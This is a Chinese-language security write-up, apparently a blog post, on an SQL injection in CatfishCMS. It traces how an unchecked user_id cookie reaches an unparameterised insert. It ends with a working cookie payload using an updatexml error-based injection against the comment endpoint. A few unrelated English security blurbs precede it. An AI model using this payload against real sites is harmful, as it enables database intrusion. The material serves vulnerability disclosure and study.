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Security breaches in the news serve as a good reminder to check and make sure you have a solid application protection strategy in place, starting with never trusting user input.

What's the other half? And why don't organizations just find and fix their own bugs?

Legislation is a good first step toward persuading IoT manufacturers (who want to stay in business) to do the right thing when it comes to the security of their devices.

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漏洞描述

怎么说呢，这个CMS以前挖过一次，刚开始确实写得不咋的，后来貌似重构了一下，安全性上了一个档次。
最近看到有人发了这个CMS的漏洞，思路挺不错的，不过文章开头说没有注入，我就试着又审了一次新版。
虽然直观的漏洞不存在了，但是我们细心并且猥琐一点，就可以挖到一个注入了。

漏洞分析

大概看了一下，TP5的防御确实比TP3要好一点....主要是把where函数一改写，确实没有那种直观的一发数组就打穿的注入。但是我留意到这个地方:
/application/user/controller/Common.php中第45行:

protected function checkUser() { if(!Session::has($this->session_prefix.'user_id') && Cookie::has($this->session_prefix.'user_id') && Cookie::has($this->session_prefix.'user')) { $cookie_user_p = Cache::get('cookie_user_p'); if(Cookie::has($this->session_prefix.'user_p') && $cookie_user_p !== false) { $user = Db::name('users')->where('user_login', Cookie::get($this->session_prefix.'user'))->field('user_pass,user_type')->find(); if(!empty($user) && md5($cookie_user_p.$user['user_pass']) == Cookie::get($this->session_prefix.'user_p')) { Session::set($this->session_prefix.'user_id',Cookie::get($this->session_prefix.'user_id')); Session::set($this->session_prefix.'user',Cookie::get($this->session_prefix.'user')); Session::set($this->session_prefix.'user_type',$user['user_type']); } } } if(!Session::has($this->session_prefix.'user_id')) { $this->redirect(Url::build('/login')); } if(Session::get($this->session_prefix.'user_type') == 1) { $this->redirect(Url::build('/admin')); } $this->assign('login', $this->getUser()); }

函数的功能就是一个校验用户是否登录。看逻辑，看第一个if。如果我们没有session，那么就从cookie中取值，这里用到了几个cookie，一个是user_id,一个是user,一个是user_p。

然后将user带入数据库查询，这个其实就是我们的用户名，将查询出来的密码与$cookie_user_p拼接一下然后md5一下就与我们的COOKIE的user_p进行比较，如果相等的话，就设置一系列session。用户验证是没毛病的，但是这个地方发现有一个东西也就是从COOKIE取得user_id没有参与任何逻辑操作就直接设置到session里面去了。就让我对这个东西产生了注意，等于我们可以控制session中的user_id的值了。

我们全文查找一下用到这个session的user_id的地方在哪，我找到一处:
/application/index/controller/Index.php中第548行:

public function pinglun() { $beipinglunren = Db::name('posts')->where('id',Request::instance()->post('id'))->field('post_author')->find(); if($beipinglunren['post_author'] != Session::get($this->session_prefix.'user_id')) { $comment = Db::name('options')->where('option_name','comment')->field('option_value')->find(); $plzt = 1; if($comment['option_value'] == 1) { $plzt = 0; } //添加评论 $data = [ 'post_id' => Request::instance()->post('id'), 'url' => 'index/Index/article/id/'.Request::instance()->post('id'), 'uid' => Session::get($this->session_prefix.'user_id'), 'to_uid' => $beipinglunren['post_author'], 'createtime' => date("Y-m-d H:i:s"), 'content' => $this->filterJs(Request::instance()->post('pinglun')), 'status' => $plzt ]; Db::name('comments')->insert($data); //修改评论信息 Db::name('posts') ->where('id', Request::instance()->post('id')) ->update([ 'post_comment' => date("Y-m-d H:i:s"), 'comment_count' => ['exp','comment_count+1'] ]); $param = ''; Hook::add('comment_post',$this->plugins); Hook::listen('comment_post',$param,$this->ccc); } }

这里取到了我们session中的user_id的值然后添加到了$data这个数组中，作为uid的值。
然后将$data带入到了insert函数中，貌似有戏，就跟进去看看，在/catfish/library/think/db/Builder.php中第597行:

public function insert(array $data, $options = [], $replace = false) { // 分析并处理数据 $data = $this->parseData($data, $options); if (empty($data)) { return 0; } $fields = array_keys($data); $values = array_values($data); $sql = str_replace( ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'], [ $replace ? 'REPLACE' : 'INSERT', $this->parseTable($options['table']), implode(' , ', $fields), implode(' , ', $values), $this->parseComment($options['comment']), ], $this->insertSql); return $sql; }

然后这里调用了一个parseData对$data进行处理:

protected function parseData($data, $options) { if (empty($data)) { return []; } // 获取绑定信息 $bind = $this->query->getFieldsBind($options); if ('*' == $options['field']) { $fields = array_keys($bind); } else { $fields = $options['field']; } $result = []; foreach ($data as $key => $val) { $item = $this->parseKey($key); if (!in_array($key, $fields, true)) { if ($options['strict']) { throw new Exception('fields not exists:[' . $key . ']'); } } elseif (isset($val[0]) && 'exp' == $val[0]) { $result[$item] = $val[1]; } elseif (is_null($val)) { $result[$item] = 'NULL'; } elseif (is_scalar($val)) { // 过滤非标量数据 if ($this->query->isBind(substr($val, 1))) { $result[$item] = $val; } else { $this->query->bind($key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR); $result[$item] = ':' . $key; } } } return $result; }

注意看了啊，这里的$var[0]如果等于exp的话，就直接将$val[1]给$result[$item]。所以这里我们肯定要构造一个数组的。
等处理完了，就直接return $result。
然后我们返回上级看看:

$fields = array_keys($data); $values = array_values($data); $sql = str_replace( ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'], [ $replace ? 'REPLACE' : 'INSERT', $this->parseTable($options['table']), implode(' , ', $fields), implode(' , ', $values), $this->parseComment($options['comment']), ], $this->insertSql);

直接array_values取出来，然后implode一下,好的，明显的注入。

接下来开始构造payload了，构造payload的时候也有点大意了，我以为直接传数组就可以了，结果并不行，我就又去看了一下取COOKIE得函数:

public static function get($name, $prefix = null) { !isset(self::$init) && self::init(); $prefix = !is_null($prefix) ? $prefix : self::$config['prefix']; $name = $prefix . $name; if (isset($_COOKIE[$name])) { $value = $_COOKIE[$name]; if (0 === strpos($value, 'think:')) { $value = substr($value, 6); $value = json_decode($value, true); array_walk_recursive($value, 'self::jsonFormatProtect', 'decode'); } return $value; } else { return null;

它取了COOKIE的值之后还进行了一次strpos操作，所以这个地方我们如果直接传数组会报error的错误，就是因为strpos的参数不能是数组。但是我一看到if里面有一个json_decode。那等于还是可以传数组嘛(吓我一跳)。

漏洞利用

为了方便起见。把app_debug打开吧，方便报错注入。
将/application/config.php中的app_debug改为true即可。

首先我们前台注册一个账号吧。
用户名:balisong 密码:balisong

首先我们要登录一次，不过这个地方要把记住我勾上，如图:

然后会发现我们多了几个cookie，如图:

其中最重要的就是这个user_p的cookie。
我这里是65332ad27c4ca83675c01ad285367903

然后我们开始换个浏览器搞事情。或者你清除掉PHPSESSION也可以。

然后开始构造COOKIE：

catfishcatfishcmsuser = balisong catfishcatfishcmsuser_p = 65332ad27c4ca83675c01ad285367903 catfishcatfishcmsuser_id = think:["exp","1 or updatexml(1,concat(0x3e,user()),0)"]

构造完毕后，访问一次http://localhost/catfishcms/user/index.html

页面报错不要紧，主要是为了触发checkuser这个函数。

然后访问http://localhost/catfishcms/index/index/pinglun.html

可以看到报错了，爆出了数据库用户名:

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